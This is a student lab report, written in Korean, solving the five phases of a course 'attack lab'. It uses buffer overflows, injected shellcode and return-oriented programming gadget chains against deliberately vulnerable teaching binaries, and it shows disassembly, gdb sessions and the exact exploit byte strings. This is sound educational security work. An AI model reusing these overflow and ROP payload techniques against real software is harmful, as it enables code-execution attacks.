

CSED211 LAB4 REPORT

20220778 표승현

Phase_1

PDF 에서 ctarget 의 코드를 확인할 수 있다.

```
1 void test()  
2 {  
3     int val;  
4     val = getbuf();  
5     printf("No exploit.  Getbuf returned 0x%x\n", val);  
6 }
```

```
1 void touch1()  
  
2 {  
3     vlevel = 1;          /* Part of validation protocol */  
4     printf("Touch1!: You called touch1()\n");  
5     validate(1);  
6     exit(0);  
7 }
```

ctarget 을 실행시킨 후 임의의 문자열을 입력해서 프로그램 실행 형태를 알아본다.

```
Starting program: /home/std/hyeony312/datalab/attackLab/target102/ctarget  
Cookie: 0x32046301  
Type string:abcde  
No exploit.  Getbuf returned 0x1  
Normal return  
[Inferior 1 (process 8948) exited normally]  
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.x86_64
```

```
0000000004017ca <getbuf>:  
4017ca: 48 83 ec 18      sub    $0x18,%rsp  
4017ce: 48 89 e7         mov    %rsp,%rdi  
4017d1: e8 34 02 00 00   callq 401a0a <Gets>  
4017d6: b8 01 00 00 00   mov    $0x1,%eax  
4017db: 48 83 c4 18      add    $0x18,%rsp  
4017df: c3              retq  
  
0000000004017e0 <touch1>:  
4017e0: 48 83 ec 08      sub    $0x8,%rsp  
4017e4: c7 05 0e 2d 20 00 01  movl   $0x1,0x202d0e(%rip)    # 6044fc <vlevel>  
4017eb: 00 00 00           
4017ee: bf 48 2f 40 00   mov    $0x402f48,%edi  
4017f3: e8 58 f4 ff ff   callq 400c50 <puts@plt>  
4017f8: bf 01 00 00 00   mov    $0x1,%edi  
4017fd: e8 f7 03 00 00   callq 401bf9 <validate>  
401802: bf 00 00 00 00   mov    $0x0,%edi  
401807: e8 e4 f5 ff ff   callq 400df0 <exit@plt>
```

getbuf를 살펴보면 rsp에서 0x18만큼 빼 주는 것을 보아 24바이트의 공간이 만들어 진다는 것을 알 수 있다. rsp+24 에는 return address 가 저장될 것이므로 buffer overflow 를 발생시켜 rsp+24 에 touch1 의 주소를 강제로 저장한다.

```
[hyeony312@programming2 target102]$ cat > l1.txt  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 17 40 00 00 00 00 00
```

```
[hyeony312@programming2 target102]$ ./hex2raw < l1.txt | ./ctarget  
Cookie: 0x32046301  
Type string:Touch1!: You called touch1()  
Valid solution for level 1 with target ctarget  
PASS: Sent exploit string to server to be validated.  
NICE JOB!
```

Phase_2

```
1 void touch2(unsigned val)
2 {
3     vlevel = 2;          /* Part of validation protocol */
4     if (val == cookie) {
5         printf("Touch2!: You called touch2(0x%.8x)\n", val);
6         validate(2);
7     } else {
8         printf("Misfire: You called touch2(0x%.8x)\n", val);
9         fail(2);
10    }
11    exit(0);
12 }
```

```
00000000040180c <touch2>:
40180c: 48 83 ec 08      sub    $0x8,%rsp
401810: 89 fe           mov    %edi,%esi
401812: c7 05 e0 2c 20 00 02  movl   $0x2,0x202ce0(%rip)    # 6044fc <vlevel>
401819: 00 00 00        movl   0x0,0x0
40181c: 3b 3d e2 2c 20 00  cmp    0x202ce2(%rip),%edi    # 604504 <cookie>
401822: 75 1b           jne    40183f <touch2+0x33>
401824: bf 70 2f 40 00   mov    $0x402f70,%edi
401829: b8 00 00 00 00   mov    $0x0,%eax
40182e: e8 4d f4 ff ff   callq  400c80 <printf@plt>
401833: bf 02 00 00 00   mov    $0x2,%edi
401838: e8 bc 03 00 00   callq  401bf9 <validate>
40183d: eb 19           jmp     401858 <touch2+0x4c>
40183f: bf 98 2f 40 00   mov    $0x402f98,%edi
401844: b8 00 00 00 00   mov    $0x0,%eax
401849: e8 32 f4 ff ff   callq  400c80 <printf@plt>
40184e: bf 02 00 00 00   mov    $0x2,%edi
401853: e8 53 04 00 00   callq  401cab <fail>
401858: bf 00 00 00 00   mov    $0x0,%edi
40185d: e8 8e f5 ff ff   callq  400df0 <exit@plt>
```

rdi 레지스터에 값을 넘겨주어 cookie 값과 동일한 값을 가지게 해야 한다.

cookie: 0x32046301

rsp 의 주소를 알기 위해 register 값을 조사한다.

```

Breakpoint 1, getbuf () at buf.c:12
12      in buf.c
(gdb) n
14      in buf.c
(gdb) disas
Dump of assembler code for function getbuf:
0x00000000004017ca <+0>:      sub    $0x18,%rsp
=> 0x00000000004017ce <+4>:      mov    %rsp,%rdi
0x00000000004017d1 <+7>:      callq 0x401a0a <Gets>
0x00000000004017d6 <+12>:     mov    $0x1,%eax
0x00000000004017db <+17>:     add    $0x18,%rsp
0x00000000004017df <+21>:     retq
End of assembler dump.
(gdb) i r
rax            0x0            0
rbx            0x55586000      1431855104
rcx            0x3a676e6972747320 4208453775971873568
rdx            0x7ffff7dd6a00 140737351870976
rsi            0x403148 4206920
rdi            0x0            0
rbp            0x55685fe8      0x55685fe8
rsp            0x556694a8      0x556694a8
r8             0x0            0
r9             0x0            0
r10            0x55669090      1432785040
r11            0x7ffff7a9ca00 140737348487680
r12            0x1            1
r13            0x0            0
r14            0x0            0
r15            0x0            0
rip            0x4017ce 0x4017ce <getbuf+4>
eflags        0x212          [ AF IF ]
cs             0x33          51
ss             0x2b          43
ds             0x0            0
es             0x0            0
fs             0x0            0
gs             0x0            0

```

rsp 가 0x556694a8 을 가리키고 있는 것을 알 수 있다. return address 에 rsp 의 주소를 넘겨주어 injection code 를 실행하게 할 것이다.

```

0000000000000000 <.text>:
 0:  68 0c 18 40 00      pushq $0x40180c
 5:  48 c7 c7 01 63 04 32  mov    $0x32046301,%rdi
 c:  c3                  retq

```

touch 2 의 주소인 40180c 를 push 하여 stack 의 top 에 위치하게 한다.

이후 rdi 에 cookie 값을 저장하는 어셈블리 코드를 작성하여 hex 코드로 변환한다.

이를 rsp 가 가리키는 buffer 에 작성한다.

```

68 0c 18 40 00 48 c7 c7 01 63 04 32 c3 00 00 00 00 00 00 00 00 00 00 a8 94 66 55 00 00 00 00

```

다음과 같이 injection code 를 순차적으로 수행하여 원하는 결과를 얻을 수 있었다.

```
[hyeony312@programming2 target102]$ ./hex2raw < l2.txt | ./ctarget
Cookie: 0x32046301
Type string:Touch2!: You called touch2(0x32046301)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

Phase 3

```
1 /* Compare string to hex representation of unsigned value */
2 int hexmatch(unsigned val, char *sval)
3 {
4     char cbuf[110];
5     /* Make position of check string unpredictable */
6     char *s = cbuf + random() % 100;
7     sprintf(s, "%.8x", val);
8     return strncmp(sval, s, 9) == 0;
9 }
10
11 void touch3(char *sval)
12 {
13     vlevel = 3;          /* Part of validation protocol */
14     if (hexmatch(cookie, sval)) {
15         printf("Touch3!: You called touch3(\"%s\")\n", sval);
16         validate(3);
17     } else {
18         printf("Misfire: You called touch3(\"%s\")\n", sval);
19         fail(3);
20     }
21     exit(0);
22 }
```

```
0000000004018e0 <touch3>:
4018e0: 53                push    %rbx
4018e1: 48 89 fb          mov     %rdi,%rbx
4018e4: c7 05 0e 2c 20 00 03 movl    $0x3,0x202c0e(%rip)    # 6044fc <vlevel>
4018eb: 00 00 00
4018ee: 48 89 fe          mov     %rdi,%rsi
4018f1: 8b 3d 0d 2c 20 00 mov     0x202c0d(%rip),%edi    # 604504 <cookie>
4018f7: e8 66 ff ff ff    callq  401862 <hexmatch>
4018fc: 85 c0             test    %eax,%eax
4018fe: 74 1e             je      40191e <touch3+0x3e>
401900: 48 89 de          mov     %rbx,%rsi
401903: bf c0 2f 40 00    mov     $0x402fc0,%edi
401908: b8 00 00 00 00    mov     $0x0,%eax
40190d: e8 6e f3 ff ff    callq  400c80 <printf@plt>
401912: bf 03 00 00 00    mov     $0x3,%edi
401917: e8 dd 02 00 00    callq  401bf9 <validate>
40191c: eb 1c             jmp     40193a <touch3+0x5a>
40191e: 48 89 de          mov     %rbx,%rsi
401921: bf e8 2f 40 00    mov     $0x402fe8,%edi
401926: b8 00 00 00 00    mov     $0x0,%eax
40192b: e8 50 f3 ff ff    callq  400c80 <printf@plt>
401930: bf 03 00 00 00    mov     $0x3,%edi
401935: e8 71 03 00 00    callq  401cab <fail>
40193a: bf 00 00 00 00    mov     $0x0,%edi
40193f: e8 ac f4 ff ff    callq  400df0 <exit@plt>
```

touch3 는 매개변수로 char *sval 즉, 주소값을 전달받는다. 주소에 위치한 값이 cookie 값과 일치할 때 성공적인 실행을 할 수 있다.

stack overflow 를 유발시켜 buff 를 가리키게 한 후, rdi 에 cookie 값을 저장할 주소를 저장하게 한다. 이때 cookie 의 주소는 안정성을 위해 overflow 로 저장한 return address 다음 8bytes 로 한다.

rsp+0x18 (return address): 0x556694a8

cookie value: 0x32046301

cookie address: 0x556694a8 + 0x18 + 0x8 = 0x556694c8

```
Disassembly of section .text:
0000000000000000 <.text>:
  0:  48 c7 c7 c8 94 66 55      mov     $0x556694c8,%rdi
  7:  68 e0 18 40 00           pushq   $0x4018e0
  c:  c3                      retq
```

cookie 값을 hex 코드로 변환하면 33 32 30 34 36 33 30 31 00(null)이다.

따라서

48 c7 c7 c8 94 66 55 68

e0 18 40 00 c3 00 00 00

00 00 00 00 00 00 00 00

a8 94 66 55 00 00 00 00

33 32 30 34 36 33 30 31

00 //null 값

을 입력한다.

```
Cookie: 0x32046301
Type string:Touch3!: You called touch3("32046301")
Valid solution for level 3 with target ctargat
PASS: Sent exploit string to server to be validated.
NICE JOB!
```


Phase 4

stack 의 주소가 랜덤하게 바뀌므로 버퍼에 특정한 코드를 injection 하는 방법은 더 이상 사용할 수 없다. buffer 의 주소를 특정할 수 없기 때문이다. 이미 작성된 코드의 gadget 들을 모아 원하는 동작을 수행할 명령문을 완성하는 방법을 사용한다.

Phase 2 와 같이 rdi 에 쿠키 값을 저장한 후 touch2 를 호출하는 것이 목표다. 그러나 pop %rdi 에 해당하는 '5f'를 farm 에서 찾을 수 없으므로 다른 코드를 조합하는 방향을 고려한다.

pop %rax (58)을 통해 스택에 저장한 cookie 값을 rax 에 저장한다.

movq %rax, %rdi (48 89 c7)을 통해 rax 의 값을 rdi 로 옮긴다.

마지막으로 touch2 의 주소를 입력해 함수를 호출한다.

```
0000000000401968 <start_farm>:
401968:    b8 01 00 00 00    mov     $0x1,%eax
40196d:    c3               retq

000000000040196e <setval_215>:
40196e:    c7 07 08 89 c7 c3    movl    $0xc3c78908, (%rdi)
401974:    c3               retq

0000000000401975 <addval_302>:
401975:    8d 87 58 c2 95 2c    lea     0x2c95c258(%rdi), %eax
40197b:    c3               retq

000000000040197c <getval_246>:
40197c:    b8 48 89 c7 c3      mov     $0xc3c78948, %eax
401981:    c3               retq

0000000000401982 <addval_355>:
401982:    8d 87 48 89 c7 91    lea     -0x6e3876b8(%rdi), %eax
401988:    c3               retq

0000000000401989 <getval_223>:
401989:    b8 58 90 90 90      mov     $0x90909058, %eax
40198e:    c3               retq

000000000040198f <setval_353>:
40198f:    c7 07 c2 58 90 90    movl    $0x909058c2, (%rdi)
401995:    c3               retq

0000000000401996 <getval_356>:
401996:    b8 48 89 c7 c3      mov     $0xc3c78948, %eax
40199b:    c3               retq

000000000040199c <getval_403>:
40199c:    b8 27 58 c1 95      mov     $0x95c15827, %eax
4019a1:    c3               retq
```

58 c3: <getval_223>에서 추출 >> 401989 + 1 = 40198a

48 89 c7 c3: <getval_356>에서 추출 >> 401996 + 1 = 401997

이를 기반으로 txt 를 생성하면 다음과 같다.

00 00 00 00 00 00 00 00 // 더미 데이터

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

8a 19 40 00 00 00 00 00 // pop %rax

01 63 04 32 00 00 00 00 // cookie value

97 19 40 00 00 00 00 00 // movq %rax, %rdi

0c 18 40 00 00 00 00 00 // touch2 호출

```
[hyeony312@programming2 target102]$ ./hex2raw < 4.txt | ./rtarget
Cookie: 0x32046301
Type string:Touch2!: You called touch2(0x32046301)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

Phase_5

Phase_3 에서와 같이 rdi 에 문자열 시작 주소를 저장한 후 touch3 를 호출하도록 해야한다. 이 또한 스택의 정확한 주소를 알 수 없으므로 gadget 을 이용하여 이를 수행하게 한다. 이를 위해서 rdi 에 저장할 문자열 주소를 알아야 하는데, 이는 rsp 와 원하는 주소값의 상대적 거리인 offset 을 rsp 에 더하여 알 수 있다. cookie vlaue 는 phase_3 에서와 같이 touch3 를 호출하는 칸 다음 8bytes 에 저장하여 안정성을 확보한다.

이후 rdi 에 계산한 cookie 의 주소를 저장한 후 touch3 를 호출하도록 하게 한다.

Cookie val					
Call touch3					
rax → rdi					touch 3rd setting
lea (edi, esi, 1), rax					rsp + offset
edx → esi) esi = offset
ecx → edx					
eax → ecx					
offset					
pop rax					rax = offset
rax → rdi					rdi = rsp
rsp → rax					

offset 은 cookie value 가 9 번째 칸에 위치하고 있으므로 $9 * 8(\text{byte}) = 72$, 16 진수로 48 이다.

```
00000000004019bb <addval_322>:
4019bb: 8d 87 48 89 e0 c3      lea    -0x3c1f76b8(%rdi),%eax
4019c1: c3                      retq
```

mov rsp->rax: 48 89 e0 c3 [4019bb+2=4019bd]

```
0000000000401996 <getval_356>:
401996: b8 48 89 c7 c3        mov     $0xc3c78948,%eax
40199b: c3                      retq
```

mov rax->rdi: 48 89 c7 c3 [401996+1=401997]

```
000000000040198f <setval_353>:
40198f: c7 07 c2 58 90 90     movl    $0x909058c2, (%rdi)
401995: c3                      retq
```

pop rax: 58 c3 [40198f+3=401992]

이후 eax->ecx->edx->esi 과정을 통해 offset 을 esi 에 저장한다.

```
00000000004019c9 <addval_283>:
4019c9: 8d 87 89 c1 90 90    lea    -0x6f6f3e77(%rdi),%eax
4019cf: c3                  retq
```

mov eax->ecx: 89 c1 c3 [4019c9+2=4019cb]

```
00000000004019b4 <setval_476>:
4019b4: c7 07 89 ca 90 c3    movl   $0xc390ca89, (%rdi)
4019ba: c3                  retq
```

mov ecx->edx: 89 ca c3 [4019b4+2=4019b6]

```
00000000004019d0 <getval_252>:
4019d0: b8 21 89 d6 90      mov     $0x90d68921,%eax
4019d5: c3                  retq
```

mov edx->esi: 89 d6 c3 [4019d0+2=4019d2]

```
00000000004019a8 <add_xy>:
4019a8: 48 8d 04 37         lea     (%rdi,%rsi,1),%rax
4019ac: c3                  retq
```

4019a8 을 통해 rdi 와 rsi 를 더한 값을 rax 에 저장한다.

```
0000000000401996 <getval_356>:
401996: b8 48 89 c7 c3      mov     $0xc3c78948,%eax
40199b: c3                  retq
```

mov rax->rdi: 48 89 c7 c3 [401996+1=401997]

```
00 00 00 00 00 00 00 00 // 더미 데이터
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
bd 19 40 00 00 00 00 00 // mov rsp->rax 4019bd
97 19 40 00 00 00 00 00 // mov rax->rdi 401997
92 19 40 00 00 00 00 00 // pop rax 401992
48 00 00 00 00 00 00 00 // offset (48)
cb 19 40 00 00 00 00 00 // mov eax->ecx 4019cb
b6 19 40 00 00 00 00 00 // mov ecx->edx 4019b6
d2 19 40 00 00 00 00 00 // mov edx->esi 4019d2
```

a8 19 40 00 00 00 00 00 // lea (rdi, rsi, 1) rax 4019a8

97 19 40 00 00 00 00 00 // mov rax->rdi 401997

e0 18 40 00 00 00 00 00 // call touch3

33 32 30 34 36 33 30 31 // cookie

00

```
Type string:Touch3!: You called touch3("32046301")
Valid solution for level 3 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```